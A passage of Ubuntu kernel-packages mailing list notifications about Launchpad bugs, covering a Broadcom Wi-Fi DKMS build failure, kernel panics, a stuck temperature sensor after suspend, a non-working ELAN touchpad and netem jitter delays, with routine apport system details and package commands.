8070086 tst_fill_fs.c:41: INFO: Creating file mntpoint/file2 size 3971177 tst_fill_fs.c:41: INFO: Creating file mntpoint/file3 size 36915315 tst_fill_fs.c:41: INFO: Creating file mntpoint/file4 size 70310993 tst_fill_fs.c:41: INFO: Creating file mntpoint/file5 size 4807935 tst_fill_fs.c:41: INFO: Creating file mntpoint/file6 size 90739786 tst_fill_fs.c:61: INFO: write(): ENOSPC fallocate05.c:62: PASS: write() wrote 32768 bytes fallocate05.c:71: PASS: fallocate() on full FS: ENOSPC fallocate05.c:78: BROK: fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE): ENOSPC To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783880/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1777444] Re: broadcom-sta 6.30.223.271-3~16.04.2 ADT test failure with linux-hwe-edge 4.15.0-23.25~16.04.1
Yes, This two commands solved my problem: sudo apt-get purge bcmwl-kernel-source sudo apt-get install broadcom-sta-dkms Big THX! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1777444 Title: broadcom-sta 6.30.223.271-3~16.04.2 ADT test failure with linux-hwe- edge 4.15.0-23.25~16.04.1 Status in bcmwl package in Ubuntu: New Status in broadcom-sta package in Ubuntu: Invalid Status in bcmwl source package in Xenial: New Status in broadcom-sta source package in Xenial: Fix Released Bug description: [Impact] Currently the DKMS package fails to install on supported custom kernels that are based on 4.15. That includes the current 4.15 hwe-edge and some of the custom and cloud kernels as well. [Test Case] Install the broadcom-sta package with the 4.15 hwe-edge kernel. The package installation should proceed without any errors. [Regression Potential] Although new patches were added, the regression risk is very low since the new changes are conditionally compiled based on the kernel version. Besides that, the new package was tested with the following kernels in an amd64 environment: - linux-generic 4.4 - linux-hwe 4.13 - linux-hwe-edge 4.15 - linux-azure 4.15 [Original Description] Testing failed on: amd64: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-xenial/xenial/amd64/b/broadcom-sta/20180528_193746_5dad9@/log.gz i386: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-xenial/xenial/i386/b/broadcom-sta/20180528_195126_5dad9@/log.gz To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1777444/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783358] Re: Xenial linux 4.15.0-29-generic kernel panic.
** Attachment removed: "kernel panic 4.15.0-29" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783358/+attachment/5167178/+files/IMG_20180724_172922.jpg -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783358 Title: Xenial linux 4.15.0-29-generic kernel panic. Status in linux package in Ubuntu: Confirmed Bug description: After update to the 4.15.x kernel my system cannot boot. It freezes after grub menu. I tried to boot recovery mode and saw kernel panic. Now my system can boot only on 4.13.x kernel. I tried 4.15.0-25, 4.15.0-24, 4.15.0-23, 4.15.0-22, 4.15.0-20 and had the same results. I saw similar bugs in the bug tracker. So I waiting for updates. I tried the last 4.15.0-29 and had the kernel panic again. --- ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: tolmeros 2890 F pulseaudio CurrentDesktop: XFCE DistroRelease: Ubuntu 16.04 HibernationDevice: RESUME=UUID=0ccbd010-c5a7-46ff-99d8-8cb76586cf04 InstallationDate: Installed on 2018-05-08 (77 days ago) InstallationMedia: Xubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) IwConfig: enp0s25 no wireless extensions. docker0 no wireless extensions. lono wireless extensions. MachineType: Hewlett-Packard HP Compaq dc5800 Microtower Package: linux (not installed) ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.13.0-45-generic root=UUID=b96f5dcc-5870-4d8d-a07b-5e797b9bd2fb ro rootflags=subvol=@ quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.13.0-45.50~16.04.1-generic 4.13.16 RelatedPackageVersions: linux-restricted-modules-4.13.0-45-generic N/A linux-backports-modules-4.13.0-45-generic N/A linux-firmware 1.157.20 RfKill: 0: hci0: Bluetooth Soft blocked: no Hard blocked: no Tags: xenial Uname: Linux 4.13.0-45-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dialout dip docker lpadmin plugdev pulse-access sambashare sudo _MarkForUpload: True dmi.bios.date: 01/31/2008 dmi.bios.vendor: Hewlett-Packard dmi.bios.version: 786F2 v01.04 dmi.board.name: 2820h dmi.board.vendor: Hewlett-Packard dmi.chassis.type: 6 dmi.chassis.vendor: Hewlett-Packard dmi.modalias: dmi:bvnHewlett-Packard:bvr786F2v01.04:bd01/31/2008:svnHewlett-Packard:pnHPCompaqdc5800Microtower:pvr:rvnHewlett-Packard:rn2820h:rvr:cvnHewlett-Packard:ct6:cvr: dmi.product.family: 103C_53307F dmi.product.name: HP Compaq dc5800 Microtower dmi.sys.vendor: Hewlett-Packard To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783358/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1775967] Re: Wrong temperature after suspend
I've just tried several kernel versions, from 4.5.7 to 4.17.0, and the bug existed in all the versions that I tested. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1775967 Title: Wrong temperature after suspend Status in linux package in Ubuntu: Confirmed Bug description: My laptop's temperature is stuck at 40°C after resume from suspend, but only for the acpitz-virtual-0 sensor: soc_dts0-virtual-0 Adapter: Virtual device temp1:+71.0°C acpitz-virtual-0 Adapter: Virtual device temp1:+40.0°C (crit = +105.0°C) soc_dts1-virtual-0 Adapter: Virtual device temp1:+70.0°C coretemp-isa- Adapter: ISA adapter Core 0: +68.0°C (high = +105.0°C, crit = +105.0°C) Core 1: +68.0°C (high = +105.0°C, crit = +105.0°C) Core 2: +68.0°C (high = +105.0°C, crit = +105.0°C) Core 3: +68.0°C (high = +105.0°C, crit = +105.0°C) Before suspend, acpitz-virtual-0 displays the correct value, but after suspend it stays at 40°C forever, resulting in the fan to stay off all the time, and, thus, to the laptop overheating. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-22-generic 4.15.0-22.24 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 Uname: Linux 4.15.0-22-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: juloliv1700 F pulseaudio CurrentDesktop: GNOME Date: Sat Jun 9 07:50:16 2018 InstallationDate: Installed on 2018-05-14 (25 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Acer Aspire ES1-711G ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-22-generic root=UUID=fe1aba35-e7ba-460a-9b8d-96af3582d60d ro quiet splash scsi_mod.scan=sync RelatedPackageVersions: linux-restricted-modules-4.15.0-22-generic N/A linux-backports-modules-4.15.0-22-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/29/2015 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.07 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: EA70_BM dmi.board.vendor: Acer dmi.board.version: Type2 - A01 Board Version dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.07:bd07/29/2015:svnAcer:pnAspireES1-711G:pvrV1.07:rvnAcer:rnEA70_BM:rvrType2-A01BoardVersion:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: BTM dmi.product.name: Aspire ES1-711G dmi.product.version: V1.07 dmi.sys.vendor: Acer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775967/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783823] Re: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build
Why not use the version in the repository? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1783823 Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build Status in bcmwl package in Ubuntu: New Bug description: Wifi ProblemType: Package DistroRelease: Ubuntu 18.04 Package: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu4 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 DKMSKernelVersion: 4.15.0-29-generic Date: Wed Jul 25 20:56:29 2018 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.271+bdcom-1longsleep0:/var/lib/dkms/bcmwl/6.30.223.271+bdcom/build/src/wl/sys/wl_cfg80211_hybrid.c:239:12: error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function); did you mean ‘NL80211_BAND_2GHZ’? InstallationDate: Installed on 2017-11-13 (254 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) PackageVersion: 6.30.223.271+bdcom-1longsleep0 Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build UpgradeStatus: Upgraded to bionic on 2018-07-26 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1783823/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783822] Status changed to Confirmed
This change was made by a bot. ** Changed in: linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783822 Title: [netem] Incorrect jitter delays Status in linux package in Ubuntu: Confirmed Bug description: If I configure a netem rule with a delay and jitter, the actual network delay jitter is significantly different from the configured value. With no netem rules: $ ping 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=3.06 ms 64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=2.88 ms 64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=3.01 ms 64 bytes from 192.168.1.2: icmp_seq=4 ttl=64 time=2.86 ms 64 bytes from 192.168.1.2: icmp_seq=5 ttl=64 time=2.94 ms With netem rule with delay and jitter: $ sudo tc qdisc add dev wlp4s0 root netem delay 100ms 40ms $ ping 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=106 ms 64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=111 ms 64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=115 ms 64 bytes from 192.168.1.2: icmp_seq=6 ttl=64 time=124 ms 64 bytes from 192.168.1.2: icmp_seq=7 ttl=64 time=136 ms 64 bytes from 192.168.1.2: icmp_seq=8 ttl=64 time=120 ms 64 bytes from 192.168.1.2: icmp_seq=4 ttl=64 time=4371 ms 64 bytes from 192.168.1.2: icmp_seq=9 ttl=64 time=1487 ms 64 bytes from 192.168.1.2: icmp_seq=5 ttl=64 time=5513 ms 64 bytes from 192.168.1.2: icmp_seq=10 ttl=64 time=457 ms 64 bytes from 192.168.1.2: icmp_seq=15 ttl=64 time=137 ms 64 bytes from 192.168.1.2: icmp_seq=11 ttl=64 time=4367 ms 64 bytes from 192.168.1.2: icmp_seq=16 ttl=64 time=111 ms 64 bytes from 192.168.1.2: icmp_seq=12 ttl=64 time=4366 ms 64 bytes from 192.168.1.2: icmp_seq=13 ttl=64 time=4378 ms 64 bytes from 192.168.1.2: icmp_seq=18 ttl=64 time=132 ms 64 bytes from 192.168.1.2: icmp_seq=14 ttl=64 time=4373 ms 64 bytes from 192.168.1.2: icmp_seq=21 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=17 ttl=64 time=4375 ms 64 bytes from 192.168.1.2: icmp_seq=23 ttl=64 time=112 ms 64 bytes from 192.168.1.2: icmp_seq=19 ttl=64 time=4502 ms Delays >4 seconds are unexpected, the expected delays are approximately 60 - 140 ms. With netem rule with delay and *no* jitter: $ sudo tc qdisc add dev wlp4s0 root netem delay 100ms $ ping 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=4 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=5 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=6 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=7 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=8 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=9 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=10 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=11 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=12 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=13 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=14 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=15 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=16 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=17 ttl=64 time=103 ms In this case the delays are as expected. The 192.168.1.2 host is a machine in the local network. The problem appears with different network interfaces, including loopback (in which case the delays are doubled) and on multiple machines. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: lastique 2087 F pulseaudio /dev/snd/controlC1: lastique 2087 F pulseaudio CurrentDesktop: KDE Date: Thu Jul 26 19:31:25 2018 InstallationDate: Installed on 2013-10-11 (1748 days ago) InstallationMedia: Kubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) MachineType: ASUSTeK COMPUTER INC. N550JV ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=bafa6509-dea3-48a1-a308-129b1514ab28 ro quiet splash nmi_watchdog=0 acpi_osi= acpi_backlight=vendor RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus:
[Kernel-packages] [Bug 1783823] Re: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1783823 Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build Status in bcmwl package in Ubuntu: New Bug description: Wifi ProblemType: Package DistroRelease: Ubuntu 18.04 Package: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu4 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 DKMSKernelVersion: 4.15.0-29-generic Date: Wed Jul 25 20:56:29 2018 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.271+bdcom-1longsleep0:/var/lib/dkms/bcmwl/6.30.223.271+bdcom/build/src/wl/sys/wl_cfg80211_hybrid.c:239:12: error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function); did you mean ‘NL80211_BAND_2GHZ’? InstallationDate: Installed on 2017-11-13 (254 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) PackageVersion: 6.30.223.271+bdcom-1longsleep0 Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build UpgradeStatus: Upgraded to bionic on 2018-07-26 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1783823/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782653] Re: ELAN1200 touchpad not working at all with kernel 4.15+; Recognized as ITE 8910 keyboard
There is a Solution now, a great guy at kenel.org fixed it: On Ubuntu 18.04 you must download Kernel 14.18.rc6 form Kernel.org, apply 2 Patches and compile it. Comment 68 https://bugzilla.kernel.org/show_bug.cgi?id=199911#c68. Unfortunately still the same disconnection problems like on GE503VS. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782653 Title: ELAN1200 touchpad not working at all with kernel 4.15+; Recognized as ITE 8910 keyboard Status in linux package in Ubuntu: Incomplete Bug description: Laptop is an Asus-GL703GE Touchpad is an ELAN touchpad model 1200. (rev ?) This bug is relative to the Asus-GL703GE and any Asus laptop using the ELAN1200 touchpad that semms to be different from that Bug: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1777679 (ASUS- GL503VD) cat /sys/bus/i2c/devices/i2c-ELAN1200\:00/modalias acpi:ELAN1200:PNP0C50: dmesg: [ 12.776346] genirq: Setting trigger mode 8 for irq 138 failed (intel_gpio_irq_type+0x0/0x140) [ 12.776409] i2c_hid i2c-ELAN1200:00: i2c-ELAN1200:00 supply vdd not found, using dummy regulator [ 12.777528] i2c_hid i2c-ELAN1200:00: Requesting IRQ: 138 [ 12.777585] cannonlake-pinctrl INT3450:00: pin 225 cannot be used as IRQ [ 12.777587] genirq: Setting trigger mode 8 for irq 138 failed (intel_gpio_irq_type+0x0/0x140) [ 12.777622] i2c_hid i2c-ELAN1200:00: Could not register for ELAN1200:00 interrupt, irq = 138, ret = -1 [ 12.777644] i2c_hid: probe of i2c-ELAN1200:00 failed with error -1 I tried Kernels 4.15.0-20-generic (Ubuntu 18.04), 4.17.2, 4.17.8, 4.18, all do not work I tried with additional libinput from xorg, did not work. the Kernel-Module hid-multitouch is loaded but touchpad does not work. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-07-19 (0 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux (not installed) Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782653/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783822] [NEW] [netem] Incorrect jitter delays
Public bug reported: If I configure a netem rule with a delay and jitter, the actual network delay jitter is significantly different from the configured value. With no netem rules: $ ping 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=3.06 ms 64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=2.88 ms 64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=3.01 ms 64 bytes from 192.168.1.2: icmp_seq=4 ttl=64 time=2.86 ms 64 bytes from 192.168.1.2: icmp_seq=5 ttl=64 time=2.94 ms With netem rule with delay and jitter: $ sudo tc qdisc add dev wlp4s0 root netem delay 100ms 40ms $ ping 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=106 ms 64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=111 ms 64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=115 ms 64 bytes from 192.168.1.2: icmp_seq=6 ttl=64 time=124 ms 64 bytes from 192.168.1.2: icmp_seq=7 ttl=64 time=136 ms 64 bytes from 192.168.1.2: icmp_seq=8 ttl=64 time=120 ms 64 bytes from 192.168.1.2: icmp_seq=4 ttl=64 time=4371 ms 64 bytes from 192.168.1.2: icmp_seq=9 ttl=64 time=1487 ms 64 bytes from 192.168.1.2: icmp_seq=5 ttl=64 time=5513 ms 64 bytes from 192.168.1.2: icmp_seq=10 ttl=64 time=457 ms 64 bytes from 192.168.1.2: icmp_seq=15 ttl=64 time=137 ms 64 bytes from 192.168.1.2: icmp_seq=11 ttl=64 time=4367 ms 64 bytes from 192.168.1.2: icmp_seq=16 ttl=64 time=111 ms 64 bytes from 192.168.1.2: icmp_seq=12 ttl=64 time=4366 ms 64 bytes from 192.168.1.2: icmp_seq=13 ttl=64 time=4378 ms 64 bytes from 192.168.1.2: icmp_seq=18 ttl=64 time=132 ms 64 bytes from 192.168.1.2: icmp_seq=14 ttl=64 time=4373 ms 64 bytes from 192.168.1.2: icmp_seq=21 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=17 ttl=64 time=4375 ms 64 bytes from 192.168.1.2: icmp_seq=23 ttl=64 time=112 ms 64 bytes from 192.168.1.2: icmp_seq=19 ttl=64 time=4502 ms Delays >4 seconds are unexpected, the expected delays are approximately 60 - 140 ms. With netem rule with delay and *no* jitter: $ sudo tc qdisc add dev wlp4s0 root netem delay 100ms $ ping 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=4 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=5 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=6 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=7 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=8 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=9 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=10 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=11 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=12 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=13 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=14 ttl=64 time=102 ms 64 bytes from 192.168.1.2: icmp_seq=15 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=16 ttl=64 time=103 ms 64 bytes from 192.168.1.2: icmp_seq=17 ttl=64 time=103 ms In this case the delays are as expected. The 192.168.1.2 host is a machine in the local network. The problem appears with different network interfaces, including loopback (in which case the delays are doubled) and on multiple machines. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: lastique 2087 F pulseaudio /dev/snd/controlC1: lastique 2087 F pulseaudio CurrentDesktop: KDE Date: Thu Jul 26 19:31:25 2018 InstallationDate: Installed on 2013-10-11 (1748 days ago) InstallationMedia: Kubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) MachineType: ASUSTeK COMPUTER INC. N550JV ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=bafa6509-dea3-48a1-a308-129b1514ab28 ro quiet splash nmi_watchdog=0 acpi_osi= acpi_backlight=vendor RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus: Upgraded to bionic on 2018-05-05 (82 days ago) WifiSyslog: dmi.bios.date: 11/19/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: N550JV.208 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: N550JV dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias:
[Kernel-packages] [Bug 1783823] [NEW] bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build
Public bug reported: Wifi ProblemType: Package DistroRelease: Ubuntu 18.04 Package: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu4 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 DKMSKernelVersion: 4.15.0-29-generic Date: Wed Jul 25 20:56:29 2018 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.271+bdcom-1longsleep0:/var/lib/dkms/bcmwl/6.30.223.271+bdcom/build/src/wl/sys/wl_cfg80211_hybrid.c:239:12: error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function); did you mean ‘NL80211_BAND_2GHZ’? InstallationDate: Installed on 2017-11-13 (254 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) PackageVersion: 6.30.223.271+bdcom-1longsleep0 Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build UpgradeStatus: Upgraded to bionic on 2018-07-26 (0 days ago) ** Affects: bcmwl (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package bionic -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1783823 Title: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build Status in bcmwl package in Ubuntu: New Bug description: Wifi ProblemType: Package DistroRelease: Ubuntu 18.04 Package: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu4 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 DKMSKernelVersion: 4.15.0-29-generic Date: Wed Jul 25 20:56:29 2018 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.271+bdcom-1longsleep0:/var/lib/dkms/bcmwl/6.30.223.271+bdcom/build/src/wl/sys/wl_cfg80211_hybrid.c:239:12: error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function); did you mean 